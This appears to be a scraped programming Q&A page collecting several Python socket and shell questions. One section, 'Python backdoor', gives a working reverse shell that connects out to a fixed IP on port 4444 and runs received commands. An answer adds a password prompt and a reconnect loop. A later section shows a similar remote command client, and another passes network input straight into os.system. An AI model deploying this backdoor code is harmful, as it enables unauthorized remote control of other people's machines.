Python: Netcat function doen't work - python

When I use this command on Linux, it works:
echo "test.bash.stats 44 1459116000" | nc myhostname.com 2003
But now, I try to implement this command in a Python script.
Method 1: Use os.system("")
# this works
os.system("echo 'test.bash.stats 14 1459116000' | nc myhostname.com 2003")
#It does not work because there are a problem with quote
data['time_timestamp'] = 1459116000
os.system("echo 'test.bash.stats 14 "data['time_timestamp']"' | nc myhostname.com 2003")
Method 2: Use socket
import socket
def netcat(hostname, port, content):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
s.sendall(content)
s.shutdown(socket.SHUT_WR)
while 1:
data = s.recv(1024)
if data == "":
break
print "Received:", repr(data)
print "Connection closed."
s.close()
netcat("myhostname.com", 2003, "test.bash.stats 14 1459116000")
I don't get an error, but I don't receive data.

You should try concatenating the string like this
os.system("echo 'test.bash.stats 14 " + str(data['time_timestamp']) + " '| nc myhostname.com 2003")
or this
os.system("echo 'test.bash.stats 14 %d '| nc myhostname.com 2003" % data['time_timestamp'])

Related

How to search for string or line in os.system output

So I'm writing a simple socket program. The client sends a directory path to the server. 'data' is the given directory path. In the example below, it takes the path given and runs the Linux command 'ls -l path'.
while True:
print (data.decode())
batcmd=('ls -l ' + data.decode())
result = os.system(batcmd)
So if the client entered '/home/user', the shell command 'ls -l /home/user' will run and display the contents and permissions of the directory.
Now I want to sort through the result and fine a particular word. Then display the line that contains that word.
For example, one line contains the word "Pictures".
So I want to display that line which is
drwxr-xr-x 3 myname myname 4096 Feb 25 2017 Pictures
If I try this:
import subprocess
import os
from socket import socket, gethostbyname, AF_INET, SOCK_DGRAM
import sys
PORT_NUMBER = 2000
SIZE = 1024
hostName = gethostbyname( '0.0.0.0' )
mySocket = socket( AF_INET, SOCK_DGRAM )
mySocket.bind( (hostName, PORT_NUMBER) )
print ("Test server listening on port {0}\n".format(PORT_NUMBER))
# Receive no more than 1024 bytes
while True:
(data,addr) = mySocket.recvfrom(SIZE)
try:
print >>sys.stderr, 'Received data from', addr
while True:
print (data.decode())
batcmd=('ls -l ' + data.decode())
result = os.system(batcmd)
word = "Pictures"
print result.find(word)
# Do other stuff here
finally:
print >> sys.stderr, 'closing socket'
sys.exit()
I get the error "AttributeError: 'int' object has no attribute 'find'"
If I try this:
import subprocess
import os
from socket import socket, gethostbyname, AF_INET, SOCK_DGRAM
import sys
PORT_NUMBER = 2000
SIZE = 1024
hostName = gethostbyname( '0.0.0.0' )
mySocket = socket( AF_INET, SOCK_DGRAM )
mySocket.bind( (hostName, PORT_NUMBER) )
print ("Test server listening on port {0}\n".format(PORT_NUMBER))
# Receive no more than 1024 bytes
while True:
(data,addr) = mySocket.recvfrom(SIZE)
try:
print >>sys.stderr, 'Received data from', addr
while True:
print (data.decode())
batcmd=('ls -l ' + data.decode())
result = os.system(batcmd)
word = "pictures"
for line in result:
search_res = word(line)
print line
if search_res is None:
print ("That word does not exist.")
break
else:
print ("something else")
# Do other stuff
finally:
print >> sys.stderr, 'closing socket'
sys.exit()
I get TypeError: 'int' object is not iterable
What is the best way to go about finding a word and printing the line that word is contained in?
Do I need to dump result into a file in order to handle it?

python udp listener not showing on process listening to ports

I have a script which listens to incoming udp packets on port 8087:
IP_ADDRESS = '0.0.0.0'
LISTEN_PORT = 8087
serverSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
serverSock.bind((IP_ADDRESS, LISTEN_PORT))
while True:
data, addr = serverSock.recvfrom(1024)
I run the script and can get data if I send packets to it.
When I do sudo netstat -peant | grep ":8087 " to see the process listening on this port, I don't have any results.
When I do sudo netstat -peant | grep ":80 " for example, I do get results of processes listening on this port.
Why is that? something wrong with the udp server code? shouldn't it listen on 8087?
your server listens to the correct port but need proper data handling.
study below code and you will get a good understanding on this.
from socket import *
import string
from time import ctime
HOST = '127.0.0.1'
PORT = 8087
BUFSIZ = 1024
ADDR = (HOST, PORT)
ssock = socket(AF_INET, SOCK_STREAM)
ssock.bind(ADDR)
ssock.listen(5)
try:
while True:
c = 1
print 'Waiting for a connection...'
csock, addr = ssock.accept()
hostname, aliases, addresses = gethostbyaddr(addr[0])
lip, lport = ssock.getsockname()
print '''
Connected ...
Remote Host : %s
Remote host IP : %s
Remort Port : %d
Connected time : %s
Local IP : %s
Local Port : %d \n''' % (hostname , addr[0], addr[1], ctime(), lip, lport)
while True:
data = csock.recv(BUFSIZ)
if data == 'q':
break
elif data == 'shut':
ssock.close()
break
elif data == ' ':
csock.send('Server Responce: <> \n')
print 'srv responces: %d : <>' % c
c += 1
else:
data1 = data.upper()
csock.send('Server Responce: %s \n' % data1)
print 'srv responces: %d : <%s>' % (c, data1)
c += 1
csock.close()
except:
print 'Server socket closed !!!'

Python backdoor

So hello everybody, Im building a python backdoor. So when I start the netcat for listener and I start the backdoor it connects and everything but when I type ipconfig for example it says "The specified file directory cannot be found" or something like that. Here is the code:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')
while 1:
data = s.recv(1024)
if data == 'quit' : break
proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(b'\n' + stdoutput)
# Exiting
s.send(b'\nExiting...\n')
s.close()
Try this:
Hope its not too much. I added a few features as well.
You're godamm welcome :)
#!/usr/bin/python
# Import the required librarys for the job
import subprocess
import socket
import os
# Set variables used in the script
HOST = '10.0.0.98' # IP for remote connection
PORT = 4444 # Port for remote connection
PASS = 'Te$t!2#456' # For making the script secure
# Create the socket that will be used
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# This method will be used for handling the exit when you type -quit
def Quit():
s.send(' [<] Hope to see you soon :)\n')
s.close()
Connect()
# This method will wait until the connection is alive
def Connect():
s.connect((HOST, PORT))
s.send('''\n
+--------------------+
| You are connected! |
+--------------------+
| X IS Something err!! |
| < IS Incomming!! |
| > IS Outgoing!! |
+--------------------+
''')
Login()
# Ask for login; if they do not get it right it will ask again ect ect etc
def Login():
s.send(' [>] Please login #>> ')
pwd = s.recv(1024)
if pwd.strip() == PASS:
Shell()
else:
s.send(' [X] Incorrect Login!!\n')
Login()
# Main method -- Hope I'm not pissing you off by calling it a method, I'm used to C# lol ;)
def Shell():
s.send(' [<] We\'re in :)\n [>]-{ ' + os.curdir + ' } Console #>> ')
while 1:
data = s.recv(1024)
# Make sure that you use '-quit'!!
if data.upper()[:5] == '-QUIT' : break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = " [<] " + proc.stdout.read() + proc.stderr.read()
s.send('\n\n' + stdoutput + '\n\n')
s.send(' [>]-{ ' + os.curdir + ' } Console #>> ')
Quit()
Connect()

integer to string conversion in same python program

Hi I am trying to use ipaddress which is integer in this program. but I need to call this as string in response = os.system("ping -c 1 " + hostname + "-I" + str(mystring))
#!/usr/bin/python
import os
interface = os.system("ifconfig ge1 | grep UP")
ip = os.system("ifconfig ge1.1 | grep UP")
ipaddress = os.system("ifconfig ge1 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'")
print ipaddress
mystring = repr(ipaddress)
print mystring
if interface == 0:
print interface, ' interface is UP!'
hostname = "8.8.8.8"
response = os.system("ping -c 1 " + hostname + "-I" + str(mystring))
if response == 0:
print hostname, 'is up!'
else:
print hostname, 'is down!'
else:
print interface, ' interface is down!'
os.system("ifconfig ge1 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'") will not return to you IP address instead EXIT STATUS code, so you need to use a module that gets you the IP address of your interface(eth0, WLAN0..etc),
As suggested by the #stark link comment, use netifaces package or socket module, examples taken from this post :
import netifaces as ni
ni.ifaddresses('eth0')
ip = ni.ifaddresses('eth0')[2][0]['addr']
print ip
===========================================================================
import socket
import fcntl
import struct
def get_ip_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
get_ip_address('eth0')
EDIT-1:
It is recommended that you run your terminal commands through subprocess rather than os.system as I've read it's a lot more safer.
Now, if you wan to pass the result of ip_address into your ping command, here we go:
import subprocess
import socket
import fcntl
import struct
def get_ip_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
hostname = "8.8.8.8"
cmdping = "ping -c 1 " + hostname + " -I " + get_ip_address('eth0')
p = subprocess.Popen(cmdping, shell=True, stderr=subprocess.PIPE)
#The following while loop is meant to get you the output in real time, not to wait for the process to finish until then print the output.
while True:
out = p.stderr.read(1)
if out == '' and p.poll() != None:
break
if out != '':
sys.stdout.write(out)
sys.stdout.flush()

Error when disconnecting from server

I keep getting this:
Traceback (most recent call last):
File "C:\Users\T_Mac\Desktop\Rex's Stuff\PyNet\Client.py", line 14, in <module
>
server.connect(ADDRESS)
File "C:\Python27\lib\socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
File "C:\Python27\lib\socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
socket.error: [Errno 9] Bad file descriptor
When I run 'changeclient' with this code as my server:
# Server
from socket import *
PORT = 5000
BUFSIZE = 1024
ADDRESS = ('', PORT) # '' = all addresses.
server = socket(AF_INET, SOCK_STREAM)
server.bind(ADDRESS)
server.listen(5)
# print stuff the user needs to know
print ''
print ' ____ _____ ___ _______ '
print ' / \ | | / \ /____\ | '
print '| | | | | | | | '
print ' \____/ \____/| | | \____/ | v0.1'
print ' | | '
print ' | | '
print ' | | '
print ' | _____/ '
print 'Contact Rex for any bug reports at rexploits#gmail.com'
print '\n'
print 'Please input the command when prompted with \'>\''
print 'The stdout stuff will be in this format: '
print ' (<stdout>, <stderr>)\n'
while True:
END_SCRIPT = 0 #Setting command to something other than '1'
print '\nWaiting for connections...'
client, address = server.accept()
print '...client connected from ', address[0], '\n'
while True:
command = raw_input('> ')
if command == 'quit':
server.close()
END_SCRIPT = 1
break
elif command == 'exit':
server.close()
END_SCRIPT = 1
break
elif command == 'changeclient':
print 'Changing clients.....\n'
client.send(command)
break
else:
client.send(command)
commandJazz = client.recv(BUFSIZE)
print commandJazz
if END_SCRIPT == 1:
print 'Closing server......'
print 'Goodbye!'
break
server.close()
And this as my Client:
# client
from subprocess import *
from socket import *
import time
test = 0
PORT = 5000
IP = 'localhost' #To change it to your ip, delete 'raw_input('> ')' and put your IP in its place.
BUFSIZE = 1024
ADDRESS = (IP, PORT)
server = socket(AF_INET, SOCK_STREAM)
while True:
server.connect(ADDRESS)
while True:
command = server.recv(BUFSIZE)
if command == 'changeclient':
server.close()
test = 1
break
else:
executeIt = Popen(command, shell = True, stdin = PIPE, stdout = PIPE, stderr = STDOUT)
commandJazz = executeIt.communicate()
strCommandJazz = str(commandJazz)
server.send(strCommandJazz)
I run my server, then run two instances of my client. It connects fine and everything works fine. I have built in a command called changeclient to disconnect the current client and connect to another. Whenever I execute changeclient, I get the previously posted error on my client.
When you close your socket, dont reuse it. Create a new one:
server = socket(AF_INET, SOCK_STREAM)
server.connect(ADDRESS)
Right now you are trying to reconnect on the same socket instance.
You could also try to use a flag that tells the socket to reuse the port when you reopen it instead of creating a new one.
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

Categories

Resources